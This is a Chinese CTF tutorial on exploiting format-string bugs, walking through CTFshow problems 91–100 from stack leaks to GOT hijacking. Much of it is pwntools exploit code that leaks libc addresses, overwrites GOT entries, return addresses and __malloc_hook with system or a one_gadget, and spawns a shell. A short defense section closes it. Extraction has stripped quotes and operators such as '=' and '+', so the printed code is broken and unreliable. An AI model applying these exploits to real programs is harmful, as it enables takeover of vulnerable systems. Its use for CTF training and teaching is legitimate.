CTFshow格式化字符串漏洞实战:从栈泄露到GOT劫持的完整利用链
1. 项目概述最近在CTFshow平台上刷题正好做到格式化字符串漏洞的实战题目从第91题一路做到第100题。这十道题可以说是把格式化字符串漏洞的各种利用姿势都玩了个遍从最基础的栈内存泄露到任意地址读写再到最终的GOT表劫持拿shell整个过程下来对格式化字符串的理解又深了一层。很多刚接触PWN的同学可能会觉得格式化字符串漏洞比栈溢出要抽象一些毕竟它不涉及直接的缓冲区覆盖而是通过控制格式化字符串参数来“欺骗”printf家族函数让它们按照我们的意愿去读写内存。但实际上只要你理解了格式化字符串在栈上的布局原理掌握了那几个关键的格式化符号特别是%p、%s、%n剩下的就是一些套路化的操作了。这篇文章我就结合CTFshow的这十道实战题目把格式化字符串漏洞从入门到精通的完整链条给大家拆解清楚包括如何定位偏移、如何泄露关键地址、如何计算libc基址、如何覆盖内存实现任意代码执行。我会尽量用最直白的语言配合具体的payload构造过程让你看完就能上手复现。2. 格式化字符串漏洞核心原理回顾在深入实战之前我们先快速回顾一下格式化字符串漏洞的核心机制。这个漏洞的本质是程序员错误地使用了用户可控的字符串作为格式化字符串函数的第一个参数。比如下面这段代码char buf[100]; scanf(%s, buf); printf(buf); // 危险用户输入的buf被直接当作格式化字符串正常的printf调用应该是printf(%s, buf)第一个参数是格式字符串第二个参数才是要输出的数据。但上面这种写法直接把用户输入的buf当成了格式字符串。如果用户在buf里输入%p、%x这样的格式化符号printf就会按照这些符号的含义去栈上读取数据并输出。2.1 栈内存布局与参数传递理解格式化字符串漏洞的关键在于理解x86架构下函数调用时参数的传递方式。在32位程序中参数是通过栈传递的。当调用printf(%s %d, str, num)时参数从右向左压栈栈顶低地址 ... 格式化字符串地址 - printf的第一个参数 str的地址 - printf的第二个参数 num的值 - printf的第三个参数 ... 栈底高地址printf函数内部会解析格式化字符串遇到%s就从栈上取一个参数当作地址然后输出该地址处的字符串遇到%d就从栈上取一个参数当作整数输出。问题在于printf并不知道它“应该”取多少个参数——它完全信任格式化字符串。如果格式化字符串里有5个%p它就会从栈上取5个值输出不管调用者实际上只传了2个参数。2.2 关键格式化符号实战中我们最常用的几个格式化符号%p、%x以指针或十六进制形式输出栈上的值%s将栈上的值解释为地址输出该地址处的字符串直到遇到NULL%n将到目前为止已输出的字符数写入到栈上参数指向的地址%c输出字符%d输出十进制整数%hhn写入1字节char%hn写入2字节short%n写入4字节int%ln写入8字节long其中%n系列是攻击的关键因为它能实现内存写操作。%hhn按字节写入的特性在构造精确数值时特别有用。2.3 偏移计算与直接参数访问格式化字符串中可以用%k$p这样的语法直接访问第k个参数从1开始计数。比如%3$p就是输出栈上第3个参数相对于格式化字符串地址的位置。这个特性让我们能够精确控制要读写的内存位置而不需要一堆%p来“滑”到目标位置。确定偏移是格式化字符串利用的第一步。通常的做法是输入一串有规律的字符串如AAAA%p%p%p%p...或%p链观察输出中哪里出现了我们的输入内容对应的十六进制值AAAA对应0x41414141。3. CTFshow格式化字符串题目实战解析3.1 题目91基础栈地址泄露第一题通常是最简单的热身。题目给了一个有格式化字符串漏洞的程序目标是通过泄露栈上的信息找到flag。这种题目一般有两种解法要么flag已经在内存中我们只需要找到它并打印出来要么需要泄露某个关键地址。解题步骤测试偏移先发送AAAA%p%p%p%p%p%p%p%p观察输出定位输入位置在输出中寻找0x41414141AAAA的十六进制假设出现在第6个%p输出那么偏移就是6泄露栈内存用%6$s尝试把AAAA所在位置当作地址输出该地址处的字符串。但这里我们实际上要泄露的是其他地址寻找flag通常flag可能在环境变量中或者被读入到栈/堆的某个位置。我们可以用%k$s尝试不同的偏移或者用%k$p查看指针再用%s去读实际payload示例from pwn import * # 连接题目 p remote(xxx.xxx.xxx.xxx, 10000) # 测试偏移 p.sendline(bAAAA%p-%p-%p-%p-%p-%p-%p-%p) response p.recvline() print(response) # 假设发现0x41414141在第5个位置 # 构造payload泄露可能包含flag的地址 for i in range(1, 30): p.sendline(f%{i}$p.encode()) val p.recvline().strip() try: # 尝试将泄露的值当作地址用%s读取 addr int(val, 16) if addr 0x400000: # 只尝试看起来像地址的值 p.sendline(f%{i}$s.encode()) data p.recvline() if bflag in data or b{ in data: print(fFound at offset {i}: {data}) break except: pass注意事项在实际比赛中flag可能不在栈上而是在堆上或者通过其他方式加载。这时候需要结合程序逻辑来分析。另外有些题目会清空输出缓冲区需要及时接收数据。3.2 题目92任意地址读进阶这一题通常会增加难度flag不在栈上但栈上有一个指向flag的指针。我们需要先泄露这个指针的值再用这个指针去读flag。关键技巧双重解引用先用%k$p泄露一个指针值再用%s读取该指针指向的内容地址对齐问题如果泄露的地址包含不可打印字符如0x0a换行符、0x00空字符%s可能会提前终止。这时候需要调整输入让地址出现在合适的位置小端序处理x86是小端序低位字节在前。构造payload时要注意字节顺序实战案例假设通过%5$p泄露到地址0x804c000这个地址处存放着flag的地址0x804c100。我们需要先读取0x804c000处的值即0x804c100再用0x804c100去读flag# 假设偏移是5先泄露指针 p.sendline(b%5$p) pointer_addr int(p.recvline().strip(), 16) print(fPointer at: {hex(pointer_addr)}) # 现在我们需要读取pointer_addr处的值 # 但我们需要把这个地址放到栈上然后用%s读取 # 构造payload: [地址] %[偏移]$s payload p32(pointer_addr) b%7$s # 假设地址在偏移7的位置 p.sendline(payload) # 接收数据前4字节是我们写入的地址后面是目标地址处的字符串 response p.recv() flag_addr u32(response[4:8]) # 读取pointer_addr处的值 print(fFlag at: {hex(flag_addr)}) # 现在用同样的方法读flag payload p32(flag_addr) b%7$s p.sendline(payload) flag p.recv()[4:] # 跳过前4字节的地址 print(fFlag: {flag})踩坑记录这里最容易出错的是偏移计算。当我们把地址放在payload开头时这个地址本身会成为printf的参数之一。假设原本的偏移是5放入4字节地址后这个地址会占据栈上的一个参数位置后面的%7$s中的7需要相应调整。通常需要加1但具体要看栈布局。3.3 题目93GOT表地址泄露与libc计算从这一题开始进入真正的利用阶段。目标不再是直接读flag而是通过泄露libc地址最终执行system(/bin/sh)。第一步就是泄露GOT表中的函数地址。GOT/PLT机制简要回顾PLTProcedure Linkage Table程序链接表包含跳转到GOT的代码GOTGlobal Offset Table全局偏移表存放函数的实际地址第一次调用函数时GOT指向PLT中的解析代码解析完成后填入真实地址泄露步骤找到printf的GOT地址用readelf -r ./binary或objdump -R ./binary构造payload泄露GOT值把GOT地址放到栈上用%s读取计算libc基址libc_base leaked_addr - libc.symbols[printf]计算system地址system_addr libc_base libc.symbols[system]from pwn import * context.arch i386 context.log_level debug elf ELF(./challenge) libc ELF(/lib/i386-linux-gnu/libc.so.6) # 根据题目给的libc版本 p process(./challenge) # 先确定偏移 p.sendline(bAAAA%p%p%p%p%p%p%p%p) resp p.recvline() print(resp) # 假设偏移是6AAAA出现在第6个%p offset 6 # 获取printf的GOT地址 printf_got elf.got[printf] log.info(fprintf GOT: {hex(printf_got)}) # 泄露printf的实际地址 payload p32(printf_got) f%{offset}$s.encode() p.sendline(payload) # 接收数据前4字节是printf_got地址后面4字节是printf的实际地址 resp p.recv() printf_addr u32(resp[4:8]) log.success(fprintf address: {hex(printf_addr)}) # 计算libc基址和system地址 libc_base printf_addr - libc.symbols[printf] system_addr libc_base libc.symbols[system] log.success(flibc base: {hex(libc_base)}) log.success(fsystem address: {hex(system_addr)})重要细节这里用%s读取时printf会把GOT地址处的值当作指针然后去读那个指针指向的字符串。但GOT里存的是函数地址不是字符串。所以实际上我们读取的是函数地址的前几个字节如果这些字节恰好是可打印字符就会输出乱码如果是不可打印字符可能什么都看不到。正确做法是用%{offset}$p直接以指针形式输出或者确保接收所有字节。3.4 题目94初探内存写与%n利用这一题引入%n格式化符让我们能够向任意地址写入数据。%n会将到目前为止已输出的字符数写入到对应参数指向的地址。基本利用思路把目标地址放到栈上通过控制输出字符数来控制写入的值用%hhn按字节写入可以精确控制每个字节的值简单示例向地址0x804c000写入0xdeadbeef# 0xdeadbeef 3735928559 十进制 # 一次写入这么大的数字会导致输出3.7GB的数据不现实 # 需要分字节写入 target_addr 0x804c000 payload b # 写入0xef到0x804c000 # 先输出0xef239个字符 payload p32(target_addr) payload b%239c%6$hhn # 假设偏移是6 # 写入0xbe到0x804c001 # 已经输出了2394243个字符需要输出到0xbe190 # 但190243所以需要利用整数溢出 # 输出到190256446个字符 payload p32(target_addr 1) payload b%203c%7$hhn # 446-243203 # 写入0xad到0x804c002 # 当前输出446需要到0xad173 # 173256429429-446-17再加256239 payload p32(target_addr 2) payload b%239c%8$hhn # 需要仔细计算 # 写入0xde到0x804c003 # 类似计算...实际上手工计算这些值非常繁琐pwntools提供了fmtstr_payload函数来自动生成payload。3.5 题目95覆盖GOT表实现控制流劫持这是格式化字符串漏洞的终极目标之一覆盖GOT表中的函数地址将其改为system或其他函数的地址从而在调用该函数时执行我们想要的代码。利用步骤泄露libc地址如题目93计算system地址将printf或其它函数的GOT表项覆盖为system地址当程序再次调用该函数时实际执行的是system传入/bin/sh作为参数获取shellfrom pwn import * elf ELF(./challenge) libc ELF(./libc.so.6) # 题目提供的libc p remote(xxx.xxx.xxx.xxx, 10000) # 1. 泄露libc地址假设已经知道偏移是6 printf_got elf.got[printf] payload p32(printf_got) b%6$s p.sendline(payload) p.recv(4) # 跳过我们写入的地址 printf_addr u32(p.recv(4)) libc_base printf_addr - libc.symbols[printf] system_addr libc_base libc.symbols[system] # 2. 覆盖printf_got为system_addr # 使用pwntools的fmtstr_payload自动生成 payload fmtstr_payload(6, {printf_got: system_addr}) p.sendline(payload) # 3. 现在调用printf实际上会调用system # 发送/bin/sh作为下一次printf的参数 p.sendline(b/bin/sh\x00) # 4. 获取shell p.interactive()关键点fmtstr_payload函数会自动处理地址对齐、字节写入顺序、整数溢出等问题。它的参数是偏移量和要写入的{地址: 值}字典。内部实现原理就是我们上面说的分字节写入但自动处理了所有计算。3.6 题目96同时覆盖多个GOT表项有些题目可能因为保护机制或程序逻辑单次覆盖一个GOT表项不够。比如程序可能调用了exit()退出或者有栈保护。这时候我们需要同时覆盖多个GOT表项。常见场景覆盖printf为system同时覆盖exit为main或其它无害函数避免程序退出覆盖strlen、strcmp等函数为system当程序比较输入时触发覆盖free为system当释放内存时触发# 同时覆盖printf和exit的GOT表项 printf_got elf.got[printf] exit_got elf.got[exit] main_addr elf.symbols[main] # 计算要写入的值 writes { printf_got: system_addr, exit_got: main_addr # 让exit跳回main形成循环 } payload fmtstr_payload(offset, writes) p.sendline(payload)性能考虑同时写入多个地址时payload可能会很长。如果程序有输入长度限制可能需要优化。优化方法包括优先写入低字节相同的地址、利用整数溢出减少输出字符数、使用%hn2字节写入而不是%hhn1字节写入等。3.7 题目97无libc情况下的利用有时候题目不提供libc或者提供的libc版本不确定。这时候我们需要通过泄露多个函数地址来推断libc版本和基址。技术要点泄露至少两个libc函数的地址计算它们的偏移差在线查询或本地匹配libc版本使用DynELF或LibcSearcher等工具from pwn import * from LibcSearcher import LibcSearcher # 泄露两个函数地址 printf_got elf.got[printf] puts_got elf.got[puts] # 泄露printf地址 payload p32(printf_got) b%6$s p.sendline(payload) p.recv(4) printf_addr u32(p.recv(4)) # 泄露puts地址 payload p32(puts_got) b%6$s p.sendline(payload) p.recv(4) puts_addr u32(p.recv(4)) # 使用LibcSearcher查找libc版本 libc LibcSearcher(printf, printf_addr) libc.add_condition(puts, puts_addr) libc_base printf_addr - libc.dump(printf) system_addr libc_base libc.dump(system)替代方案如果题目是64位且只给了部分libc函数可以尝试通过函数偏移特征来识别。比如__libc_start_main的地址通常以0x240或0x260结尾system和__libc_start_main的偏移通常是固定的。3.8 题目9864位格式化字符串漏洞64位下的格式化字符串漏洞利用与32位有显著不同主要区别在于参数传递方式前6个参数通过寄存器传递rdi, rsi, rdx, rcx, r8, r9格式化字符串在rdi中所以第一个%p输出的是rsi的值第二个是rdx以此类推栈上参数从第7个开始要访问栈上的数据需要使用%7$p、%8$p等地址对齐问题64位地址可能包含NULL字节导致字符串截断64位利用示例from pwn import * context.arch amd64 context.log_level debug p process(./challenge64) # 测试偏移 p.sendline(bAAAA%p%p%p%p%p%p%p%p%p%p) resp p.recvline() print(resp) # 在64位下AAAA可能出现在第几个%p # 前6个%p对应寄存器rsi-rdx-rcx-r8-r9-栈第一个 # 所以AAAA通常在%7$p或之后 # 假设偏移是8 offset 8 # 泄露libc地址需要把地址放在栈上 # 但64位地址可能有NULL字节需要用其他方法 printf_got elf.got[printf] # 方法1将地址放在payload末尾用%{offset}$s读取 # 但需要确保地址中不含NULL字节 payload b%8$sAAAA p64(printf_got) # AAAA用于对齐 p.sendline(payload) resp p.recvuntil(bAAAA) printf_addr u64(p.recv(6).ljust(8, b\x00)) # 方法2使用%{offset}$lln分部分写入地址 # 或者使用pwntools的fmtstr_payload它自动处理64位64位特殊技巧由于地址高位通常是0%s读取时会在NULL字节处停止。解决方案使用%{offset}$p以指针形式输出然后解析将地址放在payload中间确保前面有足够数据使用%c链构造地址但比较复杂利用程序已有的指针通过部分覆盖来修改3.9 题目99绕过FULL RELRO保护RELRORelocation Read-Only保护有两种级别Partial RELROGOT表可写FULL RELROGOT表只读无法覆盖当遇到FULL RELRO时不能直接覆盖GOT表。这时候需要寻找其他利用点绕过方法覆盖返回地址如果栈地址可泄露可以覆盖栈上的返回地址覆盖函数指针程序中的回调函数指针、析构函数指针等覆盖hook函数如__malloc_hook、__free_hook、__realloc_hook修改程序逻辑数据如修改身份验证标志、修改关键变量值# 示例覆盖栈上的返回地址 # 1. 先泄露栈地址 p.sendline(b%p%p%p%p%p%p%p) resp p.recvline() stack_leak int(resp.split(b0x)[1], 16) # 假设第二个%p是栈地址 # 2. 计算返回地址位置 # 返回地址通常在格式化字符串参数之后不远处 ret_addr stack_leak 0x20 # 需要调试确定偏移 # 3. 覆盖返回地址为system payload fmtstr_payload(offset, {ret_addr: system_addr}) p.sendline(payload) # 4. 触发返回 p.sendline(bexit) # 或等待函数自然返回覆盖__malloc_hook示例# 泄露libc地址后计算__malloc_hook地址 malloc_hook libc_base libc.symbols[__malloc_hook] # one_gadget是libc中的一段代码执行execve(/bin/sh) # 使用one_gadget工具查找one_gadget libc.so.6 one_gadget libc_base 0x45216 # 示例偏移 # 覆盖__malloc_hook为one_gadget payload fmtstr_payload(offset, {malloc_hook: one_gadget}) p.sendline(payload) # 触发malloc比如通过输入大量数据 p.sendline(b1000) # 假设程序会根据输入malloc3.10 题目100综合实战与自动化利用最后一题通常是前面所有技巧的综合可能包括信息泄露栈地址、libc地址、pie基址绕过各种保护canary、pie、relro多阶段利用先泄露再写最后触发自动化利用框架思路from pwn import * def leak_address(offset, addr): 泄露任意地址的内容 payload p32(addr) f%{offset}$s.encode() p.sendline(payload) p.recvuntil(p32(addr)) data p.recvuntil(b\x00, dropTrue) return data def write_address(offset, addr, value): 向任意地址写入值 writes {addr: value} payload fmtstr_payload(offset, writes) p.sendline(payload) return True def exploit(): # 1. 确定偏移 offset find_offset() # 2. 泄露必要信息 stack_leak leak_stack(offset) pie_base leak_pie_base(offset) if pie_enabled else 0 libc_base leak_libc_base(offset) # 3. 根据保护机制选择利用方式 if full_relro: # 尝试覆盖hook或栈返回地址 if libc_base: malloc_hook libc_base libc.symbols[__malloc_hook] one_gadget find_one_gadget(libc_path) write_address(offset, malloc_hook, one_gadget) trigger_malloc() else: # 覆盖GOT表 printf_got pie_base elf.got[printf] system_addr libc_base libc.symbols[system] write_address(offset, printf_got, system_addr) p.sendline(b/bin/sh) # 4. 获取shell p.interactive()4. 格式化字符串漏洞利用的常见问题与调试技巧4.1 偏移计算不准怎么办偏移计算是格式化字符串利用的第一步也是最容易出错的一步。常见问题及解决方案问题1本地和远程偏移不同原因环境变量差异、栈布局不同解决使用自动化脚本探测或者用%p链观察规律def find_offset(): for i in range(1, 50): p.sendline(fAAAA%{i}$p.encode()) resp p.recvline() if b0x41414141 in resp: return i return None问题2地址包含不可打印字符现象输出被截断或乱码解决使用%{i}$p代替%{i}$s或者调整payload结构问题3对齐问题导致偏移变化现象加入地址后偏移计算错误解决确保8字节对齐64位或4字节对齐32位# 32位对齐示例 payload b payload p32(addr1) payload p32(addr2) if len(payload) % 4 ! 0: payload bA * (4 - len(payload) % 4) # 填充到4字节对齐4.2 内存写入失败的原因排查使用%n写入内存时可能遇到的问题问题1写入值不正确检查已输出字符数计算是否正确技巧使用%{num}c控制输出字符数注意num是十进制问题2分段写入时顺序错误注意%hhn写入顺序应该从低地址到高地址因为写入高字节会影响低字节的计数正确顺序先写最低字节然后写较高字节考虑整数溢出问题3程序崩溃或超时原因写入只读内存、写入非法地址、payload过长调试用gdb跟踪看在哪一步崩溃优化使用%hn2字节减少payload长度4.3 使用pwntools的fmtstr模块pwntools的fmtstr模块可以大大简化利用过程from pwn import * # 自动探测偏移 def exec_fmt(payload): p.sendline(payload) return p.recvuntil(b\n, dropTrue) auto FmtStr(exec_fmt) offset auto.offset print(fFound offset: {offset}) # 自动生成payload writes { elf.got[printf]: system_addr, elf.got[exit]: main_addr } payload fmtstr_payload(offset, writes, write_sizebyte) # write_size可选byte%hhn、short%hn、int%nfmtstr_payload内部原理收集所有要写入的地址和值按地址排序相同值的地址分组计算每个地址需要写入的字节值考虑整数溢出合理安排写入顺序生成最终的格式化字符串4.4 对抗缓解措施现代CTF题目可能会加入各种缓解措施措施1限制格式化字符串长度对策使用最短的payload优先覆盖关键地址技巧使用%hn代替%hhn减少payload长度措施2过滤某些字符如过滤%n、$等对策使用%c链配合%hn或者利用其他格式化符号措施3沙箱或seccomp限制限制系统调用无法getshell对策构造ORWopen-read-write链读取flag或者使用其他方式输出flag如覆盖printf的返回地址为输出函数措施4地址随机化加强对策多次泄露计算基址或者利用部分地址覆盖partial overwrite5. 实战中的高级技巧与经验分享5.1 利用%a格式化符泄露浮点数%a以十六进制形式输出浮点数可以泄露栈上的数据有时能绕过某些过滤# %a会输出类似0x1.8p3的格式包含指针信息 payload b%a * 20 p.sendline(payload) # 解析输出可以得到栈上的指针5.2 使用%n和%c配合精确控制当需要写入特定值但输出字符数难以控制时可以结合%c# 写入0x100到地址addr # 0x100 256 payload p32(addr) payload b%256c%n # 输出256个字符后写入5.3 利用格式化字符串修改程序状态除了覆盖GOT表还可以修改程序中的关键变量// 假设程序中有 int authenticated 0; char username[100]; // 通过格式化字符串漏洞可以修改authenticated为1 // 先泄露authenticated的地址然后用%n写入5.4 堆上的格式化字符串漏洞如果格式化字符串在堆上利用方式类似但需要注意堆地址可能不包含NULL字节更容易利用可能需要先泄露堆地址利用结束后可能需要恢复堆状态避免崩溃5.5 格式化字符串与信息泄露结合在实际漏洞利用中格式化字符串常与其他漏洞结合先栈溢出泄露canary再用格式化字符串覆盖返回地址先堆溢出泄露libc再用格式化字符串覆盖hook格式化字符串泄露堆地址再用use-after-free控制流劫持6. CTFshow 91-100题目具体解法示例由于CTFshow题目可能随时间变化这里给出通用解法框架。实际解题时需要根据题目具体调整。6.1 题目环境搭建与调试本地调试设置# 关闭ASLR方便调试 echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # 编译测试程序 gcc -m32 -fno-stack-protector -no-pie -z execstack fmt.c -o fmt # 使用gdb调试 gdb ./fmt set follow-fork-mode child b printf r payload.txtpwntools调试脚本from pwn import * context.arch i386 context.log_level debug context.terminal [tmux, splitw, -h] # 本地调试 p process(./challenge) gdb.attach(p, b *printf c ) # 或者远程连接 # p remote(pwn.challenge.ctf.show, 9999)6.2 通用解题模板#!/usr/bin/env python3 from pwn import * context.arch i386 context.log_level info def solve_challenge(host, port): # 1. 连接 p remote(host, port) # 2. 探测偏移 p.sendline(bAAAA%p%p%p%p%p%p%p%p%p%p) resp p.recvline() offset None for i in range(1, 20): if f0x41414141.encode() in resp: # 解析出偏移 parts resp.split(b0x) for idx, part in enumerate(parts[1:], 1): if b41414141 in part: offset idx break if offset: break if not offset: # 尝试其他方法 for i in range(1, 20): p.sendline(f%{i}$p.encode()) val p.recvline().strip() if val b(nil): continue addr int(val, 16) if addr 0xffff 0x4141: # 如果输入的是AA offset i break log.info(fOffset: {offset}) # 3. 泄露libc地址以printf为例 elf ELF(./challenge) # 本地有二进制时 # 或者通过泄露计算GOT地址 # 方法1如果知道二进制直接取GOT # printf_got elf.got[printf] # 方法2通过泄露计算 # 先泄露一个已知函数的地址如__libc_start_main p.sendline(f%{offset2}$p.encode()) # 假设是__libc_start_main libc_start_main int(p.recvline().strip(), 16) # 4. 计算system地址需要libc版本 # 这里假设已知libc版本实际比赛可能需要查 libc_base libc_start_main - 0x18640 # 偏移需要根据libc版本调整 system_addr libc_base 0x3a940 # 5. 覆盖GOT # 需要知道要覆盖哪个函数的GOT # 通常选择printf、puts、read等 # 6. 发送/bin/sh获取shell # 具体payload根据题目调整 p.interactive() if __name__ __main__: solve_challenge(127.0.0.1, 9999)6.3 特殊情况的处理情况1程序有fork或多进程子进程继承父进程内存但文件描述符可能共享对策每次连接重新利用或者利用进程间通信情况2程序有alarm或超时对策写自动化脚本快速完成利用或者先patch二进制去掉alarm情况3输入有过滤或限制如过滤$、n等字符对策使用其他格式化符号或编码绕过# 如果过滤了$无法使用直接参数访问 # 可以用多个%p滑到目标位置 payload b%p * offset b%s # 滑到第offset个参数后读取7. 防御措施与安全编程建议虽然作为攻击者我们研究如何利用漏洞但作为开发者更应该知道如何防御7.1 安全编程实践永远不要使用用户输入作为格式化字符串// 错误 printf(user_input); // 正确 printf(%s, user_input);使用编译时检查gcc -Wformat -Wformat-security -Werrorformat-security使用安全的替代函数// 避免使用printf(s)使用 printf(%s, s); // 或者使用puts puts(s);7.2 现有代码的加固静态分析工具使用Coverity、Fortify等工具检测动态检测AddressSanitizer、Fuzzing运行时保护FORTIFY_SOURCEgcc -D_FORTIFY_SOURCE2 -O27.3 CTF中的保护机制了解这些保护机制有助于我们设计利用方案Stack Canary栈溢出检测ASLR地址空间布局随机化PIE位置无关可执行文件RELRO重定位只读NX数据不可执行格式化字符串漏洞的利用虽然有一定难度但掌握原理后就会发现它是一类非常规律化的漏洞。从信息泄露到任意地址读写再到最终的控制流劫持每一步都有成熟的技巧和工具支持。CTFshow的这10道题目很好地覆盖了从基础到进阶的各个知识点通过实战练习你不仅能掌握格式化字符串漏洞的利用还能加深对程序内存布局、函数调用约定、动态链接机制的理解。在实际漏洞挖掘中格式化字符串漏洞已经比较少见但理解它的原理对于学习其他类型的漏洞仍然很有帮助。